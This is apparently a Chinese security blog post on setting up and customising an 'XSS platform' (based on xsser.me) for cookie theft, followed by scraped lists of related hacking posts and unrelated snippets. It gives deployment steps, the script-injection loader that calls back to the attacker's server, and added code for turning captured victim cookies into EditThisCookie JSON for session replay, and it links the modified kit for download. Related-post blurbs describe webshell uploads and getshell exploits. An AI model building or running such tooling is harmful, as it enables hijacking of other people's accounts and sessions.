这个周花了点时间捣鼓公司内网论坛,不幸发现原来搭建的 xss platform 挂了,于是重新找了一份代码进行搭建。
在 zone 里面找了一份别人优化过的代码,作者是 Gosuto ,地址点我
为什么选择这个呢,主要是因为作者用 Bootstrap 对xsser.me
的默认主题进行了修改,看起来高大上了很多~(至于兼容移动端神马的就算了吧0 0)
下载源码后,照着作者写的安装说明进行修改就好了:
修改config.php
里面的数据库连接字段,包括数据库配置 (用户名、密码、数据库名)、网站 URL 路径 和伪静态配置 。
把根目录下的xssplatform.sql
导入到数据库中。
在数据库中执行 SQL 语句,把数据库中的域名改为自己的域名:
UPDATE oc_module SET code = REPLACE ( code , 'http://xsser.me' , 'http://yourdomain/xss' )
替换authtest.php
中的域名为自己的域名。
首次注册成功后,修改user
表中用户对应的adminlevel
为1,将自己定义为超级管理员 ,可以发送和管理邀请码。
根据 server 类型配置伪静态文件:
Apache
mod_rewrite.c >
RewriteEngine On
RewriteBase /
RewriteRule ^([0-9a-zA-Z]{6})$ /index.php ?do=code&urlKey=$1 [L]
RewriteRule ^do/auth/(\w+?)(/domain/([\w\.]+?))?$ /index.php ?do=do&auth=$1&domain=$3 [L]
RewriteRule ^register/(.*?)$ /index.php ?do=register&key=$1 [L]
RewriteRule ^register-validate/(.*?)$ /index.php ?do=register&act=validate&key=$1 [L]
Nginx
rewrite "^/([0-9a-zA-Z] { 6})$" /index.php?do=code&urlKey= $1 break ;
rewrite "^/do/auth/(w+?)(/domain/([w.]+?))? $" /index.php?do=do&auth= $1&domain=$3 break ;
rewrite "^/register/(.*?) $" /index.php?do=register&key= $1 break ;
rewrite "^/register-validate/(.*?) $" /index.php?do=register&act=validate&key= $1 break ;
rewrite "^/login $" /index.php?do=login break ;
到这里xss platform 就搭建完成了。
我在使用过程碰到的一些 bug,于是对源代码进行了一番修改。
1. 短地址接口部分失效
在项目代码 中有一个转换短地址的功能,当然原版的xsser.me
是没有的,是另外的作者集成进来的。
代码里提供t.cn
和is.gd
的短地址转换,对应函数在source/function.php
中的第350行和357行。由于is.gd
的 api 地址已经失效,所以我决定把这一块内容去掉。
先删掉页面上展示的内容,打开templates_c/%%4D^4D3^4D30CF2A%%project_viewcode.html.php
,将下面代码去掉:
_tpl_vars['shortShow1']; ?>
然后在source/project.php
里面注释下面两行:
$shortUrl2=LongUrltoShortUrl2($longUrl);//短网址2
$shortShow2=StripStr("");
2. 去掉JS地址后面的时间戳
JS 地址后面加入时间戳,是为了在修改 JS 代码后,刷新对方浏览器中缓存的 JS。但在实际测试中感觉作用不是很大,一般代码修改完刷新一下网页出来的就是新代码。所以我把 JS URL 中的时间戳去掉了。
在source/project.php
里进行下面的修改:
//$codeurl=URL_ROOT."/{$project[urlKey]}?".time();
$codeurl=URL_ROOT."/{$project[urlKey]}";
//$scriptShow1=StripStr("
$scriptShow1=StripStr("");
//$code2='var b=document.createElement("script");b.src="'.URL_ROOT."/{$project[urlKey]}?".'"+Math.random();(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);';
$code2='var b=document.createElement("script");b.src="'.URL_ROOT."/{$project[urlKey]}".'";(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);';
//$scriptShow2=StripStr("'\"> ");
$scriptShow2=StripStr(" ");
3. HTML 部分优化
代码中部分 Javascript 和 CSS 资源都是通过国外 CDN 获取的,有时候页面 load 很久才出来,于是把文中引用的资源都改为本地,当然改成国内 CDN 地址也可以。
在 Sublime Text 中对目录进行搜索,找出jquery-1.9.1.min.js
和bootstrap.min.js
引用的地方,然后修改为本地引用,文件放在themes/default
里对应的文件夹。
PS.注意修改后的代码为两行。
PPS.其实引用的 Javascript 文件最好放在
的最后,但这里需要手动找到所有的 Javascript 进行修改,太麻烦了就没做。
4. 添加 cookie 复制功能
一般来说,打到对方 cookie 后,会借用EditThisCookie 这个工具把 cookie 导入到 chrome 中。但document.cookie
输出的 cookie 不能直接导入,需要转换成EditThisCookie 规定的 JSON 格式。
源代码中本身自带了实现复制功能的 JS 代码,但默认是注释掉的,因为没有完整实现。同时,这个复制只是把 JSON 化后的 cookie 通过alert()
打印到屏幕上,当 cookie 内容过多时,alert 窗口并不能展示所有的内容。
于是我决定对这个功能进行修改,在完成 JSON 格式化的同时,把 JSON 内容放入到剪贴板中。
首先对原有 HTML 节点进行修改,打开%%33^334^334DB811%%project_view.html.php
,找到下面内容:
_tpl_vars['ck']; ?>
: _tpl_vars['c']; ?>
修改为:
_tpl_vars['ck']; ?>
: id= "_tpl_vars['ck']; ?>" > _tpl_vars['c']; ?>
class= "ohidden" >
修改为:
id= "_tpl_vars['v']['id']; ?>" class= "ohidden" >
当某一条记录没有location
或者cookie
值的时候,Copy()
函数会报错,所以要加一个判断条件:
var table = $ ( obj ). parent (). parent ();
var l = table . find ( "#location" ). text ();
var c = table . find ( "#cookie" ). text ();
修改为:
var table = $ ( "#" + obj ). parent (). parent ();
var l = table . find ( "#location" ). text ();
var c = table . find ( "#cookie" ). text ();
if ( l == "" || c == "" ) {
return "" ;
}
修改Copy()
函数的返回形式:
alert ( JSON . stringify ( data ));
修改为:
return JSON . stringify ( data );
为了实现让 JSON 数据复制到粘贴板上,我们需要借助ZeroClipboard.js
这个插件。下面是调用代码:
ZeroClipboard . config ( { swfPath : "'.$this->_tpl_vars['url']['themePath'].'/swf/ZeroClipboard.swf" } );
var client = new ZeroClipboard ( $ ( ".CopyBtn" ));
client . on ( 'copy' , function ( event ) {
var clipboard = event . clipboardData ;
clipboard . clearData ();
clipboard . setData ( "text/plain" , Copy ( event . target . id ));
});
client . on ( 'aftercopy' , function ( event ) {
if ( typeof ( event . success [ 'text/plain' ]) == "undefined" ) {
alert ( "cookie复制失败,请检查cookie格式~" );
}
else {
alert ( "cookie已复制到剪贴板,可以导入EditThisCookie啦~" );
}
});
这样就大功告成了~
另外还有一些细微的改动就不说了,反正现在用起来挺好的~
最后放上我修改后的源码包~
下载地址:xss_platform.tgz
你可能感兴趣的:(T00ls)
他说,我可能以后不干安全了
Bypass007
前几天,在组建t00ls备用群的时候,邀请了一位小伙伴,他说,我可能以后不干安全了。我是学计算机专业的理科生,但我却是个感性的人,这一刻心里莫名有点忧伤,又有一位做安全的小伙伴离开了这一行。分享几个小故事,情节以自己亲身经历、道听途说和YY组成,如有雷同,纯属巧合。故事一:十年安全生涯回忆录在我刚开始做安服的时候,有个前辈分享了一个十年安全生涯回忆录。清晰地记录了05-15期间,每一年的成长轨迹,
Python 实现 T00ls 自动签到脚本(邮件+钉钉通知)
爬遍天下无敌手
T00ls每日签到是可以获取TuBi的,由于常常忘记签到,导致损失了很多TuBi。于是在T00ls论坛搜索了一下,发现有不少大佬都写了自己的签到脚本,签到功能实现、定时任务执行以及签到提醒的方式多种多样,好羡慕啊。所以这里国光也尝试借鉴前辈们的脚本,尝试整合一个自己的自动签到脚本,因为国光有自己的服务器,所以打算使用Linux下的crontab来定时执行任务,提醒的话使用钉钉和邮件提醒基本上可以满
后台扫描工具 - 御剑(珍藏版)附下载
zkzq
版本说明:御剑后台扫描珍藏版下载地址:安装包放下方网盘里了链接:https://pan.baidu.com/s/1Bn7GtWb7AStcjzVahFOjSQ提取码:zkaq使用环境:windows标题工具说明:御剑后台扫描珍藏版是T00LS大牛的作品,方便查找用户后台登陆地址,同时也为程序开发人员增加了难度,尽量独特的后台目录结构。附带很强大的字典,字典我们也是可以自己修改的,继续增加规则。一、
WORDPRESS后台拿SHELL的方法
iteye_11341
shell php
来自t00ls不是0day,只是之前用了一周的WP试着做博客来着。发现WP如果能进后台就可以直接拿SHELL的。大牛说插入404文件,那个何必呢,动别人文件总归是不好,插挂了就悲剧了。本机建立目录“wawa”,把一句话1.php放进去。打包wawa目录为zip文件。WP后台的主题管理,上传主题,安装。则你的后门路径为:wp-content/themes/wawa/1.php毫无技术含量,大牛不要拍
应急响应
cacheyu
Linux_windows
最近对应急响应特别感兴趣,特意去搜索了一下,发现网上最多的是对应急响应的6个步骤进行的说明,真正涉及到网络安全的应急响应文章只看到两篇文章,一个是在先知上,一个是在t00ls上。特此整理。其中主要参考链接是:https://xz.aliyun.com/t/1140/#toc-6。常规的应急响应应该主要包括两个方面:1.未雨绸缪,即在事件发生前事先做好准备,比如风险评估、制定安全计划、安全意识的培训
来自T00ls的帖子-XSS的奇技淫巧
weixin_33737134
T00LS在前段时间开启了markdown支持,这个漏洞也正是markdown的问题导致。Markdown是一种可以使用普通文本编辑器编写的标记语言,通过简单的标记语法,它可以使普通文本内容具有一定的格式。Markdown本身是一种标记语言,在网页上的应用也很简单,比如当我在markdown中输入**加粗**,那么经过转换之后,这个短句将会变成加粗。其实也是一系列的html转换,由此就会出现很多X
[原创]解读2017 OWASP Top10漏洞体系(含接口安全)
weixin_30587927
2017年4月初,OWASP发布了关于Top10的征求意见版。争议最大的是A7攻击检测与防范不足。但我主要是按照日常的渗透漏洞进行解读分析的。解读完毕后,首发t00ls原创文章。https://www.t00ls.net/viewthread.php?from=notice&tid=393850x00Top10OWASPTop10漏洞体系长期以来作为Web攻防白帽子既基础又核心的一个标准。漏洞标准
Python 实现 T00ls 自动签到脚本(邮件+钉钉通知)
Python学习交流啊啊啊
T00ls每日签到是可以获取TuBi的,由于常常忘记签到,导致损失了很多TuBi。于是在T00ls论坛搜索了一下,发现有不少大佬都写了自己的签到脚本,签到功能实现、定时任务执行以及签到提醒的方式多种多样,好羡慕啊。所以这里国光也尝试借鉴前辈们的脚本,尝试整合一个自己的自动签到脚本,因为国光有自己的服务器,所以打算使用Linux下的crontab来定时执行任务,提醒的话使用钉钉和邮件提醒基本上可以满
Python 实现 T00ls 自动签到脚本代码(邮件+钉钉通知)
T00ls每日签到是可以获取TuBi的,由于常常忘记签到,导致损失了很多TuBi。于是在T00ls论坛搜索了一下,发现有不少大佬都写了自己的签到脚本,签到功能实现、定时任务执行以及签到提醒的方式多种多样,好羡慕啊。所以这里国光也尝试借鉴前辈们的脚本,尝试整合一个自己的自动签到脚本,因为国光有自己的服务器,所以打算使用Linux下的crontab来定时执行任务,提醒的话使用钉钉和邮件提醒基本上可以满
通达OA 2011-2013 通杀GETSHELL
weixin_34185320
转载自T00ls此程序应用于非常多的政府机构,教育机构,以及各大一流公司(中国电信等)!请各位看完本文后不要试图对任何使用本程序的网站进行破坏******等…本人发此贴纯属技术交流探讨,并无怂恿别人去尝试***的意思!若不接受以上条件的请自觉关闭,由此产生的后果与作者(本人)无关!EXP:第一步:http://ip/general/crm/studio/modules/EntityRelease/
PHP代码审计归纳-Ali0th
weixin_33943347
Author:木禾/Ali0thDate:2018-3-21Email:
[email protected] 说明:个人归纳的php漏洞类型,有修改请私信或留言。大家好,我的网名是木禾,技术领域的ID是Ali0th,这一篇是我在18年编写的PHP代码审计归纳,之前发在了t00ls和gtihub上,现在经营着这个博客,也把以前写的东西慢慢搬上来。如果能帮到你,请点个赞吧。@[toc]变量覆盖e
绕过CDN查找网站真实IP方法收集
weixin_30505043
方法1很简单,使用各种多地ping的服务,查看对应IP地址是否唯一,如果不唯一多半是使用了CDN,多地Ping网站有:http://ping.chinaz.com/http://ping.aizhan.com/http://ce.cloud.360.cn/复制代码T00LS;O-Y-\+W*c)T3]方法2使用nslookup进行检测,原理同上,如果返回域名解析对应多个IP地址多半是使用了CDN。
【实战技巧】sqlmap不为人知的骚操作
明月清水
安全 工具教学 经验分享
目录前言0x00致谢0x01注入前知识补充0x02开始注入0x03那些乌七八糟的坑0x04批量验证漏洞是否存在0x05脚本源码0x06免责声明前言此篇文章是我投t00ls通过的文章,在t00ls可以看到原稿!在这里发布是给那些没有t00ls账号的小伙伴看看!如果有不知道这个漏洞,可以先看看下面的文章https://xz.aliyun.com/t/65310x00致谢感谢丞相表哥的无私相助,感谢丞相
致远OA_0day批量植Cknife马一步到位
卿's Blog
最近各位师傅都在刷这个嘛,原本的exp是上传一个test123456.jsp的命令执行的马子,不过我在试的时候发现替换成C刀一句话出错,原因未知,并且test123456.jsp如果存在的话用原来exp是无法覆盖的。参考改进了t00ls师傅的代码(https://www.t00ls.net/viewthread...=%E8%87%B4%E8%BF%9C)A)批量的ip,利用脚本提取从fofa提取
由一枚php大马(过狗)引发的研究思路
大方子
技术分享
由一枚php大马(过狗)引发的研究思路今天t00ls有位朋友说他的网站根目录出现了疑似木马,就分享了出来,让大家参看参看,咋一看,这枚大马很面熟,其实真的是有点面熟哦,然后就小思考了一下:直接访问脚本的话是可以的哦。但是脚本原本的密码是没有解密出来的,我本地调试的时候修改了密码,访问结果如下:我去除中间的密文,那么就是下面的一段代码了:?phpif($_GET['baidu']!="Google"
通达OA 2011-2013 通杀GETSHELL
god_7z1
漏洞收集
转载自T00ls此程序应用于非常多的政府机构,教育机构,以及各大一流公司(中国电信等)!请各位看完本文后不要试图对任何使用本程序的网站进行破坏攻击入侵等…本人发此贴纯属技术交流探讨,并无怂恿别人去尝试攻击的意思!若不接受以上条件的请自觉关闭,由此产生的后果与作者(本人)无关!EXP:第一步:1[GET]http://site/general/crm/studio/modules/EntityRel
绕最新版安全狗-附上sqlmap的tamper
aiguang4476
在t00ls里面我发的,放博客分享记录一下小菜写文章,太菜希望大佬放过我!主要分享一下,绕狗的思路环境:windows7+phpstudy+safedogv4.0+Mysql5.2cms:sql-labsMysql注释符:#--/**/0x01:注入点:http://192.168.89.132/Sql/Less-1/?id=1先从and1=1绕过http://192.168.89.132/Sql
从open_basedir认识ini_set
adminuil
安全
前言从t00ls看到一个可绕过open_basedir的php脚本,由于对之了解不是很深,遂有踩坑过程。脚本如下问题ini_set函数主体ini_set引起我的注意,可以看到在最后函数使用ini_set来设置open_basedir。这之前的代码并没有特别的操作只是在跳目录,那么这些代码是否能够省略,从而直接通过ini_set设置open_basedir呢?我进行了尝试发现不可以。问题后面会提。我
php一句话木马的老生常谈,可过D盾,安全狗
逝之君
渗透测试
首发T00ls,原文地址https://www.t00ls.net/thread-45367-1-1.html这边也是才进t00ls,算是一个小小的分享吧。首先是过安全狗,这里讲下怎么一步步过安全狗。首先下面这个马很简单,只用了一个变量覆盖,所以,不出所料被杀了$b=$_POST['x'];$a='b';@assert($$a);马被杀了那肯定要想办法免杀,我们试试把assert分开呢?$b=$_
如何读懂一本书?
米粒儿暖阳
学习读书是一个人一辈子最有价值的投资,社会的高速变化,如果我们不能学到老活到老,我们所掌握的知识与技能,就很容易被淘汰。很多时候我们光有一颗想要读好书的心。但书本拿在手上,却瞌睡连连,无法专注。今天与大家分享如何选好一本书,并读懂它!第一:选书的TIps原则,挑书的四个维度,T00LS:这本书有沒有工具可以学到,是否有一些可以去实践的东西。ideas:这本书有没有新的理念?新的概念?新的想法或者新
虚拟主机的提权两个小技巧
zpchcbd
从别人那里看到了对虚拟主机的提权很有帮助就收藏了0x01:远程调用CMD是否大家会想到调用远程路径去执行CMD,比如(\x.x.x.x\test\cmd.exe),经过我的测试是可以成功的,而且就算你EXP不免杀,杀软也不会提示!当时记得我有个T00LS的朋友找提权,也是这种情况,当时帮他解决了。调用远程路径的时候要注意一下几点:1:找一台自己的VPS或者打下来的肉鸡,自己的机器需要开启445端口
md5(unix)原理分析
phithon
看到t00ls上有同学在问这个问题:https://www.t00ls.net/thread-31914-1-1.html里面有说到通过注入拿到网站的密码,加密方式是md5(unix),破解不了于是很尴尬。我们通过他文中给出的hash入手,来分析一下unix(md5)的原理与破解方法。目标hash:$1$Dx1bONFt$Hsrx102ek28d03B5dqgAv/实际上,我们要先明白一点。无论是
他说,我可能以后不干安全了
Bypass
前几天,在组建t00ls备用群的时候,邀请了一位小伙伴,他说,我可能以后不干安全了。我是学计算机专业的理科生,但我却是个感性的人,这一刻心里莫名有点忧伤,又有一位做安全的小伙伴离开了这一行。分享几个小故事,情节以自己亲身经历、道听途说和YY组成,如有雷同,纯属巧合。故事一:十年安全生涯回忆录在我刚开始做安服的时候,有个前辈分享了一个十年安全生涯回忆录。清晰地记录了05-15期间,每一年的成长轨迹,
关于渗透的琐事_0x00 SQL注入爆管理员密码
ULis
闲着无聊,在网上逛了逛(Googlehacking翻了翻),找到这个站,手工”和and1=1测试了下,感觉可以,于是就直接工具检测然后又用sqlmap验证了下。使用工具:手,kali,sqlmap,safe3wvs。首先,工具扫描网站漏洞得到可能的注入点(因为之前在T00ls提交过所以才会有水印,非搬运)工具safe3wvs然后我们去sqlmap验证下代码段:sqlmap-u“url”sqlmap
从upload-labs总结上传漏洞及其绕过
gt9000
从upload-l…2018年6月5日byharmoc前言最近在T00ls看到了一份上传漏洞总结。做了一下,感觉确实设计的蛮不错。上传漏洞类型总结0x01.限制上传的逻辑在前端禁用js或者F12修改即可0x02.仅限制Content-TypeBurp截包,修改Content-Type,然后放行,即可绕过0x03.可重写文件解析规则绕过即先上传个.htaccess文件,让解析规则变更SetHandl
CTF资源网站大集合
帅气的吴先生
CTF 资源
/*——本文转载自博客https://www.cnblogs.com/gov-cn/articles/5944692.html——*//*——原博客转载自t00ls论坛https://www.t00ls.net/thread-36149-1-1.html——*/敢问路在何方,路在这里~:http://www.hetianlab.com/CTFrace.htmlhttp://ctf.idf.cnht
[原创]代理转发工具汇总分析
weixin_30535913
python php shell
0.序原文发在t00ls,反馈不错,被评为精华帖子。在综合的渗透过程中,ShellisOnlytheBeginning。内网渗透无论是难度还是广度都不亚于前端入侵。介于Webshell和内网渗透之间的是代理转发工具。一个高效稳定代理尤为重要。我们经常用的代理转发工具包括:端口转发工具、Web代理脚本、Shell反弹脚本、VPN等,如下图1.关于代理的说明1.引用redrain:正向代理是我们自己(
lpk劫持方式粘滞键后门后门T00ls Lpk Sethc v3.0 正式版下载
set
从lpk到lpk2到现在也半年多了 让3.0做个完结吧该写的功能也写完了 3.0集中修复了几乎所有的bug 包括密码被破解方面的问题 以及windows文件保护的问题!新增加了wget和后门界面的加账号 , 加wget是因为我在很卡的服务器想打开ie下个东西很困难..比如你要
PHP Web 木马扫描器代码
PHP
scanner.php:<?php/**************PHP Web木马扫描器************************//* [+] 作者: alibaba *//* [+] QQ: 1499281192 *//* [+] MSN:
[email protected] *//* [+] 首发: t00ls.net , 转载请注明t00ls *//* [+] 版本:
在web目录下 批量寻找配置文件信息
配置文件
dir /s /b *.php *.inc *.conf *.config >>list.txt" W4 I2 U+ N/ B6 K @0 r r8 ^
T00LS: _$ j! ^3 N2 x' F7 x
for /f "tokens=*" %i in (list.txt) do php php findpass.php "%i&qu
矩阵求逆(JAVA)初等行变换
qiuwanchi
矩阵求逆(JAVA)
package gaodai.matrix;
import gaodai.determinant.DeterminantCalculation;
import java.util.ArrayList;
import java.util.List;
import java.util.Scanner;
/**
* 矩阵求逆(初等行变换)
* @author 邱万迟
*
JDK timer
antlove
java jdk schedule code timer
1.java.util.Timer.schedule(TimerTask task, long delay):多长时间(毫秒)后执行任务
2.java.util.Timer.schedule(TimerTask task, Date time):设定某个时间执行任务
3.java.util.Timer.schedule(TimerTask task, long delay,longperiod
JVM调优总结 -Xms -Xmx -Xmn -Xss
coder_xpf
jvm 应用服务器
堆大小设置JVM 中最大堆大小有三方面限制:相关操作系统的数据模型(32-bt还是64-bit)限制;系统的可用虚拟内存限制;系统的可用物理内存限制。32位系统下,一般限制在1.5G~2G;64为操作系统对内存无限制。我在Windows Server 2003 系统,3.5G物理内存,JDK5.0下测试,最大可设置为1478m。
典型设置:
java -Xmx
JDBC连接数据库
Array_06
jdbc
package Util;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
public class JDBCUtil {
//完
Unsupported major.minor version 51.0(jdk版本错误)
oloz
java
java.lang.UnsupportedClassVersionError: cn/support/cache/CacheType : Unsupported major.minor version 51.0 (unable to load class cn.support.cache.CacheType)
at org.apache.catalina.loader.WebappClassL
用多个线程处理1个List集合
362217990
多线程 thread list 集合
昨天发了一个提问,启动5个线程将一个List中的内容,然后将5个线程的内容拼接起来,由于时间比较急迫,自己就写了一个Demo,希望对菜鸟有参考意义。。
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.CountDownLatch;
public c
JSP简单访问数据库
香水浓
sql mysql jsp
学习使用javaBean,代码很烂,仅为留个脚印
public class DBHelper {
private String driverName;
private String url;
private String user;
private String password;
private Connection connection;
privat
Flex4中使用组件添加柱状图、饼状图等图表
AdyZhang
Flex
1.添加一个最简单的柱状图
? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
<?xml version=
"1.0"&n
Android 5.0 - ProgressBar 进度条无法展示到按钮的前面
aijuans
android
在低于SDK < 21 的版本中,ProgressBar 可以展示到按钮前面,并且为之在按钮的中间,但是切换到android 5.0后进度条ProgressBar 展示顺序变化了,按钮再前面,ProgressBar 在后面了我的xml配置文件如下:
[html]
view plain
copy
<RelativeLa
查询汇总的sql
baalwolf
sql
select list.listname, list.createtime,listcount from dream_list as list , (select listid,count(listid) as listcount from dream_list_user group by listid order by count(
Linux du命令和df命令区别
BigBird2012
linux
1,两者区别
du,disk usage,是通过搜索文件来计算每个文件的大小然后累加,du能看到的文件只是一些当前存在的,没有被删除的。他计算的大小就是当前他认为存在的所有文件大小的累加和。
AngularJS中的$apply,用还是不用?
bijian1013
JavaScript AngularJS $apply
在AngularJS开发中,何时应该调用$scope.$apply(),何时不应该调用。下面我们透彻地解释这个问题。
但是首先,让我们把$apply转换成一种简化的形式。
scope.$apply就像一个懒惰的工人。它需要按照命
[Zookeeper学习笔记十]Zookeeper源代码分析之ClientCnxn数据序列化和反序列化
bit1129
zookeeper
ClientCnxn是Zookeeper客户端和Zookeeper服务器端进行通信和事件通知处理的主要类,它内部包含两个类,1. SendThread 2. EventThread, SendThread负责客户端和服务器端的数据通信,也包括事件信息的传输,EventThread主要在客户端回调注册的Watchers进行通知处理
ClientCnxn构造方法
&
【Java命令一】jmap
bit1129
Java命令
jmap命令的用法:
[hadoop@hadoop sbin]$ jmap
Usage:
jmap [option] <pid>
(to connect to running process)
jmap [option] <executable <core>
(to connect to a
Apache 服务器安全防护及实战
ronin47
此文转自IBM.
Apache 服务简介
Web 服务器也称为 WWW 服务器或 HTTP 服务器 (HTTP Server),它是 Internet 上最常见也是使用最频繁的服务器之一,Web 服务器能够为用户提供网页浏览、论坛访问等等服务。
由于用户在通过 Web 浏览器访问信息资源的过程中,无须再关心一些技术性的细节,而且界面非常友好,因而 Web 在 Internet 上一推出就得到
unity 3d实例化位置出现布置?
brotherlamp
unity教程 unity unity资料 unity视频 unity自学
问:unity 3d实例化位置出现布置?
答:实例化的同时就可以指定被实例化的物体的位置,即 position
Instantiate (original : Object, position : Vector3, rotation : Quaternion) : Object
这样你不需要再用Transform.Position了,
如果你省略了第二个参数(
《重构,改善现有代码的设计》第八章 Duplicate Observed Data
bylijinnan
java 重构
import java.awt.Color;
import java.awt.Container;
import java.awt.FlowLayout;
import java.awt.Label;
import java.awt.TextField;
import java.awt.event.FocusAdapter;
import java.awt.event.FocusE
struts2更改struts.xml配置目录
chiangfai
struts.xml
struts2默认是读取classes目录下的配置文件,要更改配置文件目录,比如放在WEB-INF下,路径应该写成../struts.xml(非/WEB-INF/struts.xml)
web.xml文件修改如下:
<filter>
<filter-name>struts2</filter-name>
<filter-class&g
redis做缓存时的一点优化
chenchao051
redis hadoop pipeline
最近集群上有个job,其中需要短时间内频繁访问缓存,大概7亿多次。我这边的缓存是使用redis来做的,问题就来了。
首先,redis中存的是普通kv,没有考虑使用hash等解结构,那么以为着这个job需要访问7亿多次redis,导致效率低,且出现很多redi
mysql导出数据不输出标题行
daizj
mysql 数据导出 去掉第一行 去掉标题
当想使用数据库中的某些数据,想将其导入到文件中,而想去掉第一行的标题是可以加上-N参数
如通过下面命令导出数据:
mysql -uuserName -ppasswd -hhost -Pport -Ddatabase -e " select * from tableName" > exportResult.txt
结果为:
studentid
phpexcel导出excel表简单入门示例
dcj3sjt126com
PHP Excel phpexcel
先下载PHPEXCEL类文件,放在class目录下面,然后新建一个index.php文件,内容如下
<?php
error_reporting(E_ALL);
ini_set('display_errors', TRUE);
ini_set('display_startup_errors', TRUE);
if (PHP_SAPI == 'cli')
die('
爱情格言
dcj3sjt126com
格言
1) I love you not because of who you are, but because of who I am when I am with you. 我爱你,不是因为你是一个怎样的人,而是因为我喜欢与你在一起时的感觉。 2) No man or woman is worth your tears, and the one who is, won‘t
转 Activity 详解——Activity文档翻译
e200702084
android UI sqlite 配置管理 网络应用
activity 展现在用户面前的经常是全屏窗口,你也可以将 activity 作为浮动窗口来使用(使用设置了 windowIsFloating 的主题),或者嵌入到其他的 activity (使用 ActivityGroup )中。 当用户离开 activity 时你可以在 onPause() 进行相应的操作 。更重要的是,用户做的任何改变都应该在该点上提交 ( 经常提交到 ContentPro
win7安装MongoDB服务
geeksun
mongodb
1. 下载MongoDB的windows版本:mongodb-win32-x86_64-2008plus-ssl-3.0.4.zip,Linux版本也在这里下载,下载地址: http://www.mongodb.org/downloads
2. 解压MongoDB在D:\server\mongodb, 在D:\server\mongodb下创建d
Javascript魔法方法:__defineGetter__,__defineSetter__
hongtoushizi
js
转载自: http://www.blackglory.me/javascript-magic-method-definegetter-definesetter/
在javascript的类中,可以用defineGetter和defineSetter_控制成员变量的Get和Set行为
例如,在一个图书类中,我们自动为Book加上书名符号:
function Book(name){
错误的日期格式可能导致走nginx proxy cache时不能进行304响应
jinnianshilongnian
cache
昨天在整合某些系统的nginx配置时,出现了当使用nginx cache时无法返回304响应的情况,出问题的响应头: Content-Type:text/html; charset=gb2312 Date:Mon, 05 Jan 2015 01:58:05 GMT Expires:Mon , 05 Jan 15 02:03:00 GMT Last-Modified:Mon, 05
数据源架构模式之行数据入口
home198979
PHP 架构 行数据入口
注:看不懂的请勿踩,此文章非针对java,java爱好者可直接略过。
一、概念
行数据入口(Row Data Gateway):充当数据源中单条记录入口的对象,每行一个实例。
二、简单实现行数据入口
为了方便理解,还是先简单实现:
<?php
/**
* 行数据入口类
*/
class OrderGateway {
/*定义元数
Linux各个目录的作用及内容
pda158
linux 脚本
1)根目录“/” 根目录位于目录结构的最顶层,用斜线(/)表示,类似于
Windows
操作系统的“C:\“,包含Fedora操作系统中所有的目录和文件。 2)/bin /bin 目录又称为二进制目录,包含了那些供系统管理员和普通用户使用的重要
linux命令的二进制映像。该目录存放的内容包括各种可执行文件,还有某些可执行文件的符号连接。常用的命令有:cp、d
ubuntu12.04上编译openjdk7
ol_beta
HotSpot jvm jdk OpenJDK
获取源码
从openjdk代码仓库获取(比较慢)
安装mercurial Mercurial是一个版本管理工具。 sudo apt-get install mercurial
将以下内容添加到$HOME/.hgrc文件中,如果没有则自己创建一个: [extensions] forest=/home/lichengwu/hgforest-crew/forest.py fe
将数据库字段转换成设计文档所需的字段
vipbooks
设计模式 工作 正则表达式
哈哈,出差这么久终于回来了,回家的感觉真好!
PowerDesigner的物理数据库一出来,设计文档中要改的字段就多得不计其数,如果要把PowerDesigner中的字段一个个Copy到设计文档中,那将会是一件非常痛苦的事情。